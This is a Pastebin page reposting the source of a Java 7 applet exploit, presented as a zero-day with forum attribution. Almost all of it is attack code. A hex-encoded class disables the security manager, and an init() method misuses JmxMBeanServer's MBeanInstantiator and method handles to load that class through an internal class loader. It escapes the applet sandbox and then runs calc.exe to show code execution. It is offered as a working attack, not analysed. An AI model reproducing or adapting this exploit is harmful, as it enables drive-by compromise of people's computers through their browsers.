Advertisement
cephurs

Unchecked Source of the 0day vuln -PB BY: KAFEINE 011013

Jan 10th, 2013
669
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*Unchecked Source of the 0day vuln
  2. pbBY: KAFEINE ON JAN 10TH, 2013  |  SYNTAX: NONE  |  SIZE: 4.73 KB  |  HITS: 36
  3.  
  4. Undecrypted souce for Java EveryDay 1.7.0_10
  5. Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0
  6. From Russia with love.
  7. */
  8.  
  9. import java.applet.Applet;
  10.  
  11. import com.sun.jmx.mbeanserver.JmxMBeanServer;
  12.  
  13. import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
  14.  
  15. import com.sun.jmx.mbeanserver.MBeanInstantiator;
  16.  
  17. import java.lang.invoke.MethodHandle;
  18.  
  19. import java.lang.invoke.MethodHandles;
  20.  
  21. import java.lang.invoke.MethodType;
  22.  
  23. import java.lang.reflect.Method;
  24.  
  25.  
  26.  
  27.  
  28.  
  29. public byte[] hex2Byte(String paramString)
  30.  
  31. {
  32.  
  33.     byte[] arrayOfByte = new byte[paramString.length() / 2];
  34.  
  35.     for (int i = 0; i < arrayOfByte.length; i++)
  36.  
  37.    {
  38.  
  39.      arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16);
  40.  
  41.    }
  42.  
  43.  
  44.  
  45.    return arrayOfByte;
  46.  
  47. }
  48.  
  49. public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001
  50. 00063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501
  51. 00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578
  52. 63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F
  53. 07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263
  54. 6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F
  55. 457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142
  56. 0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469
  57. 6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F
  58. 50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445
  59. 7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176
  60. 612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A
  61. 6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000
  62. 020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100
  63. 040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600
  64. 02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107
  65. 0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000
  66. 02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600
  67. 0000020017";
  68. public void init()
  69. {
  70.   try
  71.   {
  72.    
  73.     byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff);
  74.     JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
  75.     JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
  76.     MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
  77.     ClassLoader a = null;
  78.     Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
  79.     Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
  80.     MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
  81.     MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
  82.     MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
  83.     MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
  84.     MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
  85.     Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
  86.     MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
  87.     MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
  88.     MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
  89.     MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
  90.     Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
  91.     MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
  92.     MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
  93.     Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte });
  94.     localClass3.newInstance();
  95.     Runtime.getRuntime().exec("calc.exe");
  96.   }  
  97.   catch (Throwable ex) {}
  98. }
  99. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement